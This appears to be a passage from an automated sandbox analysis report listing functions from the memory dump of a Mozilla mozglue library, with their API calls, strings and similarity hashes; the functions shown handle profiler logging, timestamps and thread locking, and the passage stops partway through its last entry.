API ID: LibraryTime$StampV01@@Value@mozilla@@$AddressFreeInit_thread_footerLoadProc$ErrorLastStamp@mozilla@@$Creation@Now@ProcessV12@V12@_
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 3361784254-3880535382
Opcode ID: 1cff97c8a0da9fd6c34bf0f9290780e7fb19d3d428e7f3ade150610c0d6b702a
Instruction ID: c73e469feceb0c3674f2557ff67770d96035c11d7acf80d5c01185f54b370847
Opcode Fuzzy Hash: 1cff97c8a0da9fd6c34bf0f9290780e7fb19d3d428e7f3ade150610c0d6b702a
Instruction Fuzzy Hash: AA61F4B1700605DFDF00DFA4DC84B9A7BF0EB4A314F42861EE91A97780D734AA65CBA5

Function 6C5A6660 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 162threadCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(6C5CF618), ref: 6C5A6694
GetThreadId.KERNEL32(?), ref: 6C5A66B1
GetCurrentThreadId.KERNEL32 ref: 6C5A66B9
memset.VCRUNTIME140(?,00000000,00000100), ref: 6C5A66E1
EnterCriticalSection.KERNEL32(6C5CF618), ref: 6C5A6734
GetCurrentProcess.KERNEL32 ref: 6C5A673A
LeaveCriticalSection.KERNEL32(6C5CF618), ref: 6C5A676C
GetCurrentThread.KERNEL32 ref: 6C5A67FC
memset.VCRUNTIME140(?,00000000,000002C8), ref: 6C5A6868
RtlCaptureContext.NTDLL ref: 6C5A687F

Strings

WalkStack64, xrefs: 6C5A6890

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalCurrentSectionThread$memset$CaptureContextEnterInitializeLeaveProcess
String ID: WalkStack64
API String ID: 2357170935-3499369396
Opcode ID: b488e8266a13c41b0aa1d82611feca36f913afb17d4621e2267a5233485e4a17
Instruction ID: 5e1c81fd0857eb8398685166e54eab3b14af3279f3129d3ebd4f0b9969f09336
Opcode Fuzzy Hash: b488e8266a13c41b0aa1d82611feca36f913afb17d4621e2267a5233485e4a17
Instruction Fuzzy Hash: 4F51CA71A09701AFDB11CFA9CC44B9EBBF4BF89714F00492DF49897640DB70E9098B96

Function 6C58DE60 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 135threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58DE73
GetCurrentThreadId.KERNEL32 ref: 6C58DF7D
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58DF8A
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58DFC9
GetCurrentThreadId.KERNEL32 ref: 6C58DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C554A68), ref: 6C58DE7B

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C554A68), ref: 6C58DEB8
free.MOZGLUE(00000000,?,6C554A68), ref: 6C58DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C58DF38

Strings

<none>, xrefs: 6C58DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C58DE83
[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C58E00E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: 27b0c2d9b8da5d6f983d32481acd2681e7d700a4271f60f7794d90502fe17fc1
Instruction ID: e407feb0b163ea153c13d863a7d5e41ac69ecc4cd015d885e71dad607e534ebd
Opcode Fuzzy Hash: 27b0c2d9b8da5d6f983d32481acd2681e7d700a4271f60f7794d90502fe17fc1
Instruction Fuzzy Hash: 4C410731702921DBDB109BA5CC44BAA77B5FB8230CF05011EE90597B01DB799D05CBEA

Function 6C59D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D918
GetCurrentThreadId.KERNEL32 ref: 6C59D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D970
GetCurrentThreadId.KERNEL32 ref: 6C59D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C59DA2E
GetCurrentThreadId.KERNEL32 ref: 6C59DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C59DA91

Part of subcall function 6C565C50: GetTickCount64.KERNEL32 ref: 6C565D40
Part of subcall function 6C565C50: EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C565D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59DAB7

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 0e4f48e575755d882beb874038b9350a139c3161b8499cf0041b35746040628a
Instruction ID: 860ed1fd5084d3526581cde77d8efd4c722a91d30879d1db2444286401f3cfa8
Opcode Fuzzy Hash: 0e4f48e575755d882beb874038b9350a139c3161b8499cf0041b35746040628a
Instruction Fuzzy Hash: FF71AF75604304DFCB00DF29C888B9ABBF5FF89714F15856EE85A9B301EB30A984CB95

Function 6C59D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C59D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D52A
GetCurrentThreadId.KERNEL32 ref: 6C59D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D55F
free.MOZGLUE(00000000), ref: 6C59D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C59D5D3
GetCurrentThreadId.KERNEL32 ref: 6C59D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D652
GetCurrentThreadId.KERNEL32 ref: 6C59D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C59D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C59D6A2

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0d343dbf1d9b745796540b838e2d70ae5f2fc40acb7236cd2471bcac5a2fbfa9
Instruction ID: 4369dae44aef955b8e4e59b0da36df1915071bf773d0f4b01fbe369bf96d2200
Opcode Fuzzy Hash: 0d343dbf1d9b745796540b838e2d70ae5f2fc40acb7236cd2471bcac5a2fbfa9
Instruction Fuzzy Hash: 21518F75604B45DFC704DF34C884A9ABBF4FF89318F01866EE84A87711EB30A945CB95

Function 6C541E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5CE784), ref: 6C541EC1
LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C541EE1
EnterCriticalSection.KERNEL32(6C5CE744), ref: 6C541F38
LeaveCriticalSection.KERNEL32(6C5CE744), ref: 6C541F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C541F83
LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C541FC0
EnterCriticalSection.KERNEL32(6C5CE784), ref: 6C541FE2
LeaveCriticalSection.KERNEL32(6C5CE784), ref: 6C541FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C542019

Strings

MOZ_CRASH(), xrefs: 6C542000
D\l, xrefs: 6C541F32
D\l, xrefs: 6C541F56
\\l, xrefs: 6C541F3E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: D\l$D\l$MOZ_CRASH()$\\l
API String ID: 2055633661-481870689
Opcode ID: 93275e7d9e515e24a013870c6aa81e9fabc12220d4f516b1f091bd257bcd6d78
Instruction ID: 80d991c5c544e88b7c294ca84e81841e3f205faf19d17678846b16d15291973e
Opcode Fuzzy Hash: 93275e7d9e515e24a013870c6aa81e9fabc12220d4f516b1f091bd257bcd6d78
Instruction Fuzzy Hash: 8341F471B007559BDF109FA8CC89B6B37F5EB4A348F01412DE90497740E7B1A9248BEA

Function 6C565670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5656D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5656E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5656F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C565744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5657BC
GetTickCount64.KERNEL32 ref: 6C5658CB
EnterCriticalSection.KERNEL32(6C5CF688), ref: 6C5658F3
__aulldiv.LIBCMT ref: 6C565945
LeaveCriticalSection.KERNEL32(6C5CF688), ref: 6C5659B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C5CF638,?,?,?,?), ref: 6C5659E9

Strings

MOZ_APP_RESTART, xrefs: 6C5656CC

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 42554cacc364ff366f45243f9839080ba21cd8d057c63e6d56ff0c34415f6d49
Instruction ID: 8974eccfb366aab12f01c5d1d56c427fc52d4c4ca5e5d13838b323115b66a16c
Opcode Fuzzy Hash: 42554cacc364ff366f45243f9839080ba21cd8d057c63e6d56ff0c34415f6d49
Instruction Fuzzy Hash: DDC18B31A087409FDB05CF28C84066ABBF1FFCA714F568B1DE8C597A61D730A985CB86

Function 6C58EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C554A68), ref: 6C58945E
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C589470
Part of subcall function 6C589420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C589482
Part of subcall function 6C589420: __Init_thread_footer.LIBCMT ref: 6C58949F

GetCurrentThreadId.KERNEL32 ref: 6C58EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C58EC8C

Part of subcall function 6C5894D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5894EE
Part of subcall function 6C5894D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C589508

GetCurrentThreadId.KERNEL32 ref: 6C58ECA1
AcquireSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C58ECC5
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C58ED19
CloseHandle.KERNEL32(?), ref: 6C58ED28
free.MOZGLUE(00000000), ref: 6C58ED2F
ReleaseSRWLockExclusive.KERNEL32(6C5CF4B8), ref: 6C58ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C58EC94

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 9f656b72327ca44c9e75b526bd9e734f8af3d176c0d04e925907703b95d7f4b9
Instruction ID: 24db948e6a1a70593f5ed80cfba6096c32a7d328f3b07367e3d82815273fe349
Opcode Fuzzy Hash: 9f656b72327ca44c9e75b526bd9e734f8af3d176c0d04e925907703b95d7f4b9
Instruction Fuzzy Hash: 07213779601524EBCF009F64DC44A9A3779FB8636DF114318FC1847741DB799D05CBA6

Function 6C588ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C54EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C54EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C58B392,?,?,00000001), ref: 6C5891F4

Part of subcall function 6C57CBE8: GetCurrentProcess.KERNEL32(?,6C5431A7), ref: 6C57CBF1
Part of subcall function 6C57CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5431A7), ref: 6C57CBFA

Strings

marker-chart, xrefs: 6C58905E
timeline-ipc, xrefs: 6C589096
name, xrefs: 6C588F16
stack-chart, xrefs: 6C5890B2
marker-table, xrefs: 6C58906C
timeline-overview, xrefs: 6C58907A
data, xrefs: 6C5890E8
timeline-memory, xrefs: 6C589088
timeline-fileio, xrefs: 6C5890A4

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: dbdd1b096bc4517e8b41b06ee00eea11a79fbaeaa00fbbee79be767d1f3f4fd7
Instruction ID: d83df3430a842aec4acbfff81c9aaf2c57368aa0e45730ad7d7e11efab96ae38
Opcode Fuzzy Hash: dbdd1b096bc4517e8b41b06ee00eea11a79fbaeaa00fbbee79be767d1f3f4fd7
Instruction Fuzzy Hash: E8B1A0B4A01219DBDB04CF94CC92BEEBBB6AB84318F104529D406ABF84D7719D45CBD1

Function 6C56C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C56C5A3
WideCharToMultiByte.KERNEL32 ref: 6C56C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C56C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C56CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C56CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C56CAA5

Strings

(null), xrefs: 6C56C596
0, xrefs: 6C56D30A

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 2782fdf8e1f9c66d9a720e172d77e55970e82e3e0cd60325023d626ca6d7e692
Instruction ID: 119f50b8001eb660ed45d91163e5cc6c776c58160168440417979d72da8d69f8
Opcode Fuzzy Hash: 2782fdf8e1f9c66d9a720e172d77e55970e82e3e0cd60325023d626ca6d7e692
Instruction Fuzzy Hash: 7BA1AE306083429FDB10DF2ACD5475ABBE1AF89748F14891DE889D7B61DB35E805CB86

Function 6C56C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C56C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C56C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C56C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C56C891

Strings

INF, xrefs: 6C56C794
nan, xrefs: 6C56C7A8
inf, xrefs: 6C56C78F
NAN, xrefs: 6C56C7AD

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: f42bc5c6d3e0062a2716b2b52adb32a27bfe9938f64a86fcb478b4c1b18b75e9
Instruction ID: 2fe86034195e5c45742cae23f5c2381c366efeccb5df7b864faa18c4d0211a8f
Opcode Fuzzy Hash: f42bc5c6d3e0062a2716b2b52adb32a27bfe9938f64a86fcb478b4c1b18b75e9
Instruction Fuzzy Hash: EB5176705087408BDB10DF6DC98169EFBF0BF9A314F408A1DE9D5A7A61E770E9858B43

Function 6C543480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C543492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C5434A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C5434EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C54350E
__Init_thread_footer.LIBCMT ref: 6C543522
__aulldiv.LIBCMT ref: 6C543552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C54357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C543592

Part of subcall function 6C57AB89: EnterCriticalSection.KERNEL32(6C5CE370,?,?,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284), ref: 6C57AB94
Part of subcall function 6C57AB89: LeaveCriticalSection.KERNEL32(6C5CE370,?,6C5434DE,6C5CF6CC,?,?,?,?,?,?,?,6C543284,?,?,6C5656F6), ref: 6C57ABD1

Strings

kernel32.dll, xrefs: 6C5434EA
GetSystemTimePreciseAsFileTime, xrefs: 6C543508

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: ad789db73201e9d3c862cab23166dc86a049bf3e0f4aba358534d85394149ee4
Instruction ID: d8edba16b10dfd6612d3e93d39ff89c20d197ca1045dde96d32dfa2c876082a7
Opcode Fuzzy Hash: ad789db73201e9d3c862cab23166dc86a049bf3e0f4aba358534d85394149ee4
Instruction Fuzzy Hash: AC31AF71B006099BDF04DFB9CC48AAA77B9FB45708F12451DE505E3660EB70AA44CB65

Function 6C544480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C584843,?), ref: 6C5445F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C584843,?), ref: 6C54468A
free.MOZGLUE(?,?,?,?,?,?,6C584843,?), ref: 6C5446C9
free.MOZGLUE(?), ref: 6C5446EF
free.MOZGLUE(?), ref: 6C544712
free.MOZGLUE(?), ref: 6C544735
free.MOZGLUE(?), ref: 6C544758
free.MOZGLUE(?), ref: 6C54477B
free.MOZGLUE(?), ref: 6C54479E

Memory Dump Source

Source File: 00000000.00000002.2226863311.000000006C541000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C540000, based on PE: true

Associated: 00000000.00000002.2226842944.000000006C540000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226915116.000000006C5BD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226939284.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2226960856.000000006C5D2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c540000_Wf9qnVcbi8.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 9d2197d511be49134a0656b11fe1a8842d76bcb2a713832d63fcb7213d10545e
Instruction ID: c6f0512e325a1b0aaf4defffe0f419d3e32e9cc1ed9acc1684d8d49bf0d62ad0
